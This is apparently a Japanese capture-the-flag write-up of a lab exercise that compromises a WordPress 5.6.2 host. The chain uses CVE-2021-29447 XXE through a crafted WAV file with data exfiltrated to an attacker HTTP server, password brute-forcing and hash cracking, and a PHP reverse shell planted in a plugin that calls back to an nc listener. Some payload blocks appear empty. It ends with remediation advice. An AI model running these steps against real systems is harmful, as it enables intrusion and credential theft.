
目的は、WordPressベースのWebアプリケーションに対して本格的なセキュリティ評価を実施し、最終的にサーバー全体を侵害することです。この評価では、特定の現実の脆弱性(CVE-2021-29447)を悪用して初期アクセスを獲得することに焦点を当てます。
プロジェクト目標: 脆弱なWordPressインストールに対する完全な攻撃チェーンを実証し、CVE-2021-29447(メディアライブラリのXXE)を悪用してリモートコード実行と完全なシステム侵害を達成すること。
フェーズ1: 偵察と列挙
Nmapによるネットワークスキャン:
bash Quick SYN scan to discover open ports nmap -sS -T4 10.201.3.95
Detailed version and script scanning nmap -sV -sC -p22,80,3306 10.201.3.95 -oA initial_scan 結果:
text PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 80/tcp open http Apache/2.4.18 (Ubuntu) |_http-generator: WordPress 5.6.2 3306/tcp open mysql MySQL 5.7.33 WPScanによるWordPress列挙:
bash User enumeration wpscan --url http://10.201.3.95/ --enumerate u
Password brute-force attack wpscan --url http://10.201.3.95/ --usernames test-corp --passwords passwords.txt 取得した認証情報:
ユーザー名: test-corp | パスワード: test
ユーザー名: corp-001 | パスワード: teddybear(後に解読)
フェーズ2: 初期アクセス - XXEエクスプロイト(CVE-2021-29447)
悪意のあるWAVファイルの作成:
bash echo -en 'RIFF\x85\x00\x00\x00WAVEiXML\x79\x00\x00\x00%remote;%param;%send;]>\x00' > payload.wav 外部DTDペイロード(yup.dtd):
xml
">データ流出用HTTPサーバー:
bash python3 -m http.server 8000 データデコード用PHPスクリプト:
php
抽出されたデータベース認証情報:
php
define('DB_NAME', 'wordpressdb2');
define('DB_USER', 'thedarktangent');
define('DB_PASSWORD', 'sUp3rS3cret132');
define('DB_HOST', 'localhost');
フェーズ3: データベースアクセスと認証情報収集
MySQL接続:
bash mysql -h 10.201.3.95 -u thedarktangent -p 実行されたSQLクエリ:
sql SHOW DATABASES; USE wordpressdb2; SHOW TABLES; SELECT user_login, user_pass FROM wptry_users; 取得したユーザーハッシュ:
text +------------+------------------------------------+ | user_login | user_pass | +------------+------------------------------------+ | corp-001 | $P$B4fu6XVPkSU5KcKUsP1sD3Ul7G3oae1 | | test-corp | $P$Bk3Zzr8rb.5dimh99TRE1krX8X85eR0 | +------------+------------------------------------+ John the Ripperによるパスワードクラック:
bash Create hash file cat > wp_hashes.txt << EOF corp-001:$P$B4fu6XVPkSU5KcKUsP1sD3Ul7G3oae1 test-corp:$P$Bk3Zzr8rb.5dimh99TRE1krX8X85eR0 EOF
Crack hashes john --wordlist=/usr/share/wordlists/rockyou.txt wp_hashes.txt john --show wp_hashes.txt 解読されたパスワード:
corp-001:teddybear
test-corp:test
フェーズ4: 権限昇格とRCE
リバースシェルペイロード(Hello Dollyプラグイン改変):
php
Netcatリスナー:
bash nc -nvlp 4444 取得したシェルアクセス:
text
Connection received on 10.201.3.95 42314
Linux ubuntu 4.4.0-210-generic #242-Ubuntu SMP
uid=33(www-data) gid=33(www-data) groups=33(www-data)
フェーズ5: ポストエクスプロイト(完了保留中)
次回セッションのコマンド:
bash Flag hunting find / -name flag.txt 2>/dev/null find / -name root.txt 2>/dev/null find / -name user.txt 2>/dev/null
Privilege escalation enumeration
sudo -l
find / -perm -u=s -type f 2>/dev/null
cat /etc/crontab
ps aux
uname -a
cat /etc/os-release
セキュリティ所見と推奨事項
特定された重大な脆弱性:
CVE-2021-29447 - WordPressメディアライブラリにおけるXML外部エンティティ処理
脆弱なパスワードポリシー - 推測されやすいパスワード(test, teddybear)
公開されたデータベースサービス - MySQLがリモートからアクセス可能
古いソフトウェア - 既知の脆弱性があるWordPress 5.6.2
過剰なユーザー権限 - 管理者以外のユーザーがプラグインを変更可能
改善推奨事項:
最新のWordPressバージョンへの即時アップデート
強力なパスワードポリシーと2FAの実装
データベースアクセスをlocalhostのみに制限
定期的なセキュリティパッチと脆弱性スキャン
ユーザーアカウントへの最小権限の原則
プロジェクトステータス: 90%完了 - リバースシェル取得済み。最終フラグ取得と権限昇格は新しいIP割り当てを待っている。
パート2 ! フラグ
最終フェーズ: ポストエクスプロイトとフラグ取得
目標: 完全なシステム侵害を達成し、最終フラグを取得する。
実行したアクション:
リバースシェルのアクティベーション:
WordPress管理パネル(/wp-admin/plugin-editor.php)でhello.phpプラグインファイルを編集
Kaliマシン(10.201.6.187:4444)にコールバックするように設定されたPHPリバースシェルペイロードを挿入
次のURLにアクセスしてペイロードを実行: http://ip-10-201-46-113.ec2.internal/wp-content/plugins/hello.php
シェルアクセスの成功:
www-dataユーザーとしてリバースシェル接続を取得
シェル出力:
text Connection received on 10.201.46.113 46240 Linux ubuntu 4.4.0-210-generic #242-Ubuntu SMP uid=33(www-data) gid=33(www-data) groups=33(www-data) ファイルシステムの探索:
ユーザーディレクトリを発見: /home/stux/
フラグディレクトリを発見: /home/stux/flag/
フラグファイルを特定: /home/stux/flag/flag.txt
フラグの抽出:
実行コマンド: cat /home/stux/flag/flag.txt
取得したフラグ: thm{28bd2a5b7e0586a6e94ea3e0adbd5f2f16085c}
完全な攻撃チェーンまとめ フェーズ 使用した技術 結果
CVE-2021-29447 - WordPressメディアライブラリにおけるXML外部エンティティ処理
脆弱なパスワードポリシー - 推測されやすいパスワード(test, teddybear)
過剰なユーザー権限 - 管理者以外のユーザーがプラグインを変更可能
古いソフトウェア - 既知の脆弱性があるWordPress 5.6.2
情報漏洩 - wp-config.php内のデータベース認証情報
セキュリティ推奨事項:
✅ 最新のWordPressバージョンへの即時アップデート
✅ 強力なパスワードポリシーと2FAの実装
✅ 定期的なセキュリティパッチと脆弱性スキャン
✅ ユーザーアカウントへの最小権限の原則
✅ ファイルアップロード機能とXML処理の制限
結論
プロジェクトキメラは、初期偵察から完全なシステム侵害に至る完全な攻撃チェーンを実証することに成功しました。この演習は、一見些細なXML解析の脆弱性(CVE-2021-29447)が、不十分なセキュリティ慣行と連鎖することで、どのように完全なシステム乗っ取りに至るかを浮き彫りにしました。
このプロジェクトは、以下重要性を強調しました:
定期的なソフトウェアアップデートとパッチ管理
強力な認証メカニズム
適切なアクセス制御と権限管理
包括的なセキュリティ監視
最終ステータス: ✅ 100%完了 - すべての目標達成、フラグ取得: thm{28bd2a5b7e0586a6e94ea3e0adbd5f2f16085c}
プロジェクトキメラは、単一の脆弱性が他のセキュリティ弱点と組み合わさることで完全なシステム侵害につながる可能性があるため、セキュリティには多層防御が必要であることを強く示しています。